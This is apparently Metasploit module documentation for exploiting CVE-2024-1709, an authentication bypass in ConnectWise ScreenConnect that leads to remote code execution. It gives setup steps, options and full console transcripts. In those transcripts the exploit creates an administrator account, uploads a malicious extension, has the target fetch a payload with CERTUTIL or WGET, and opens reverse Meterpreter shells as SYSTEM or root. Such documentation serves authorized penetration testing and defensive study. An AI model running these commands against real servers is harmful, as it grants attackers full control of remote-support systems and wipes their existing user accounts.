## Vulnerable Application
This module exploits an authentication bypass vulnerability that allows an unauthenticated attacker to create
a new administrator user account on a vulnerable ConnectWise ScreenConnect server. The attacker can leverage
this to achieve RCE by uploading a malicious extension module. All versions of ScreenConnect version 23.9.7
and below are affected.

**Note:** The vulnerability will replace the ScreenConnect systems existing User.xml file, meaning existing user
accounts will be removed after exploitation.

## Testing
* Download a vulnerable version of the software by visiting: 
  * https://screenconnect.connectwise.com/download/archive, for example download the file
[ScreenConnect_23.9.7.8804_Release.msi](https://d1kuyuqowve5id.cloudfront.net/ScreenConnect_23.9.7.8804_Release.msi) or
[ScreenConnect_21.14.5924.8013_Release.msi](https://d1kuyuqowve5id.cloudfront.net/ScreenConnect_21.14.5924.8013_Release.msi).
* Request a trial license if you do not already have one.
* On a Windows system, click through the installer to install the product and complete the installation in your
web browser as instructed. 
* Once completed, you can login by visiting http://127.0.0.1:8040/ in your browser.

## Verification Steps
1. Start msfconsole
2. `use exploit/multi/http/connectwise_screenconnect_rce_cve_2024_1709`
3. `set target 0`
4. `set payload windows/x64/meterpreter/reverse_tcp`
5. `set LHOST eth0`
6. `set RHOST <TARGET_IP_ADDRESS>`
7. `check`
8. `exploit`

## Options

### USERNAME
The username to use when creating a new administrator user account. Will default to a random 8 character value. This
value must not be empty.

### PASSWORD
The password to use when creating a new administrator user account. Will default to a random 16 character value. This
value must not be empty and must be 8 characters or more.

## Scenarios

### Windows In-Memory

```
msf exploit(multi/http/connectwise_screenconnect_rce_cve_2024_1709) > set target 0
target => 0
msf exploit(multi/http/connectwise_screenconnect_rce_cve_2024_1709) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf exploit(multi/http/connectwise_screenconnect_rce_cve_2024_1709) > set LHOST eth0
LHOST => eth0
msf exploit(multi/http/connectwise_screenconnect_rce_cve_2024_1709) > set RHOST 192.168.86.50
RHOST => 192.168.86.50
msf exploit(multi/http/connectwise_screenconnect_rce_cve_2024_1709) > show options

Module options (exploit/multi/http/connectwise_screenconnect_rce_cve_2024_1709):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS   192.168.86.50    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT    8040             yes       The target port (TCP)
   SSL      false            no        Negotiate SSL/TLS for outgoing connections
   VHOST                     no        HTTP server virtual host


Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     eth0             yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Windows In-Memory



View the full module info with the info, or info -d command.

msf exploit(multi/http/connectwise_screenconnect_rce_cve_2024_1709) > check
[*] 192.168.86.50:8040 - The target appears to be vulnerable. ConnectWise ScreenConnect 23.9.7 running on Windows.
msf exploit(multi/http/connectwise_screenconnect_rce_cve_2024_1709) > exploit

[*] Started reverse TCP handler on 192.168.86.42:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. ConnectWise ScreenConnect 23.9.7 running on Windows.
[*] Created account: qyxzcxgk:SMsGSJCbcTaJZ5f2 (Note: This account will not be deleted by the module)
[*] Uploaded Extension: 81060d26-6fc8-5d1a-0566-b6f0503a8934
[*] Removing Extension: 81060d26-6fc8-5d1a-0566-b6f0503a8934
[*] Sending stage (201798 bytes) to 192.168.86.50
[+] Deleted C:\Program Files (x86)\ScreenConnect\App_Extensions\fuypfhwx.ashx
[*] Meterpreter session 1 opened (192.168.86.42:4444 -> 192.168.86.50:50536) at 2024-02-22 14:42:13 +0000

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer        : WIN-V28QNSO2H05
OS              : Windows Server 2022 (10.0 Build 20348).
Architecture    : x64
System Language : en_US
Meterpreter     : x64/windows
meterpreter > pwd
C:\Windows\system32
meterpreter > exit
[*] Shutting down session: 1

[*] 192.168.86.50 - Meterpreter session 1 closed.  Reason: Died
msf exploit(multi/http/connectwise_screenconnect_rce_cve_2024_1709) >
```

#### Windows Command
Note: The `FETCH_WRITABLE_DIR` should be set to a suitable value like `%TEMP%`.

```
msf exploit(multi/http/connectwise_screenconnect_rce_cve_2024_1709) > set target 1
target => 1
msf exploit(multi/http/connectwise_screenconnect_rce_cve_2024_1709) > set payload cmd/windows/http/x64/meterpreter/reverse_tcp
payload => cmd/windows/http/x64/meterpreter/reverse_tcp
msf exploit(multi/http/connectwise_screenconnect_rce_cve_2024_1709) > set FETCH_COMMAND CERTUTIL 
FETCH_COMMAND => CERTUTIL
msf exploit(multi/http/connectwise_screenconnect_rce_cve_2024_1709) > set FETCH_WRITABLE_DIR %TEMP%
FETCH_WRITABLE_DIR => %TEMP%
msf exploit(multi/http/connectwise_screenconnect_rce_cve_2024_1709) > show options

Module options (exploit/multi/http/connectwise_screenconnect_rce_cve_2024_1709):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS   192.168.86.50    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT    8040             yes       The target port (TCP)
   SSL      false            no        Negotiate SSL/TLS for outgoing connections
   VHOST                     no        HTTP server virtual host


Payload options (cmd/windows/http/x64/meterpreter/reverse_tcp):

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   EXITFUNC            thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   FETCH_COMMAND       CERTUTIL         yes       Command to fetch payload (Accepted: CURL, TFTP, CERTUTIL)
   FETCH_DELETE        false            yes       Attempt to delete the binary after execution
   FETCH_FILENAME      qawpczANW        no        Name to use on remote system when storing payload; cannot contain spaces or slashes
   FETCH_SRVHOST                        no        Local IP to use for serving payload
   FETCH_SRVPORT       8080             yes       Local port to use for serving payload
   FETCH_URIPATH                        no        Local URI to use for serving payload
   FETCH_WRITABLE_DIR  %TEMP%           yes       Remote writable dir to store payload; cannot contain spaces.
   LHOST               eth0             yes       The listen address (an interface may be specified)
   LPORT               4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   1   Windows Command



View the full module info with the info, or info -d command.

msf exploit(multi/http/connectwise_screenconnect_rce_cve_2024_1709) > check
[*] 192.168.86.50:8040 - The target appears to be vulnerable. ConnectWise ScreenConnect 23.9.7 running on Windows.
msf exploit(multi/http/connectwise_screenconnect_rce_cve_2024_1709) > exploit

[*] Started reverse TCP handler on 192.168.86.42:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. ConnectWise ScreenConnect 23.9.7 running on Windows.
[*] Created account: jwrrtiro:Jd6PXdiH2MwGw2Nq (Note: This account will not be deleted by the module)
[*] Uploaded Extension: c9bf4ee9-90b2-1ba7-ae4c-54ba6ee36a81
[*] Removing Extension: c9bf4ee9-90b2-1ba7-ae4c-54ba6ee36a81
[*] Sending stage (201798 bytes) to 192.168.86.50
[+] Deleted C:\Program Files (x86)\ScreenConnect\App_Extensions\nayjdyti.ashx
[*] Meterpreter session 3 opened (192.168.86.42:4444 -> 192.168.86.50:50550) at 2024-02-22 14:45:01 +0000

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer        : WIN-V28QNSO2H05
OS              : Windows Server 2022 (10.0 Build 20348).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 1
Meterpreter     : x64/windows
meterpreter > pwd
C:\Windows\system32
meterpreter > exit
[*] Shutting down session: 3

[*] 192.168.86.50 - Meterpreter session 3 closed.  Reason: User exit
msf exploit(multi/http/connectwise_screenconnect_rce_cve_2024_1709) >
```

#### Linux Command

Note: Linux targets run an older version of ScreenConnect, which require an older version of Linux (Ubuntu 18.04 in
our testing), so `CURL` may not be available, the `FETCH_COMMAND` can be set to `WGET` instead. The `FETCH_WRITABLE_DIR`
should be set to a suitable value like `/tmp`.

```
msf exploit(multi/http/connectwise_screenconnect_rce_cve_2024_1709) > set RHOST 192.168.86.72
RHOST => 192.168.86.72
msf exploit(multi/http/connectwise_screenconnect_rce_cve_2024_1709) > set target 2
target => 2
msf exploit(multi/http/connectwise_screenconnect_rce_cve_2024_1709) > set payload cmd/linux/http/x64/meterpreter/reverse_tcp 
payload => cmd/linux/http/x64/meterpreter/reverse_tcp
msf exploit(multi/http/connectwise_screenconnect_rce_cve_2024_1709) > set FETCH_COMMAND WGET
FETCH_COMMAND => WGET
msf exploit(multi/http/connectwise_screenconnect_rce_cve_2024_1709) > set FETCH_WRITABLE_DIR /tmp
FETCH_WRITABLE_DIR => /tmp
msf exploit(multi/http/connectwise_screenconnect_rce_cve_2024_1709) > show options

Module options (exploit/multi/http/connectwise_screenconnect_rce_cve_2024_1709):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS   192.168.86.72    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT    8040             yes       The target port (TCP)
   SSL      false            no        Negotiate SSL/TLS for outgoing connections
   VHOST                     no        HTTP server virtual host


Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp):

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   FETCH_COMMAND       WGET             yes       Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
   FETCH_DELETE        false            yes       Attempt to delete the binary after execution
   FETCH_FILENAME      whUoZoNn         no        Name to use on remote system when storing payload; cannot contain spaces or slashes
   FETCH_SRVHOST                        no        Local IP to use for serving payload
   FETCH_SRVPORT       8080             yes       Local port to use for serving payload
   FETCH_URIPATH                        no        Local URI to use for serving payload
   FETCH_WRITABLE_DIR  /tmp             yes       Remote writable dir to store payload; cannot contain spaces
   LHOST               eth0             yes       The listen address (an interface may be specified)
   LPORT               4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   2   Linux Command



View the full module info with the info, or info -d command.

msf exploit(multi/http/connectwise_screenconnect_rce_cve_2024_1709) > check
[*] 192.168.86.72:8040 - The target appears to be vulnerable. ConnectWise ScreenConnect 20.3.31734 running on Linux.
msf exploit(multi/http/connectwise_screenconnect_rce_cve_2024_1709) > exploit

[*] Started reverse TCP handler on 192.168.86.42:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. ConnectWise ScreenConnect 20.3.31734 running on Linux.
[!] Did not locate the __VIEWSTATEGENERATOR.
[!] Did not locate the __VIEWSTATEGENERATOR.
[*] Created account: mvyzbmti:HhstWDEb59XYRfME (Note: This account will not be deleted by the module)
[!] Could not locate anti forgery token after login with admin credentials.
[*] Uploaded Extension: 347933e7-dbaf-1c86-eca1-2a873c31b04d
[*] Sending stage (3045380 bytes) to 192.168.86.72
[*] Removing Extension: 347933e7-dbaf-1c86-eca1-2a873c31b04d
[+] Deleted App_Extensions/pxstqhwe.ashx
[*] Meterpreter session 4 opened (192.168.86.42:4444 -> 192.168.86.72:36862) at 2024-02-22 14:47:33 +0000

meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer     : 192.168.86.72
OS           : Ubuntu 18.04 (Linux 5.4.0-84-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > pwd
/opt/screenconnect
meterpreter > exit
[*] Shutting down session: 4

[*] 192.168.86.72 - Meterpreter session 4 closed.  Reason: User exit
msf exploit(multi/http/connectwise_screenconnect_rce_cve_2024_1709) >
```
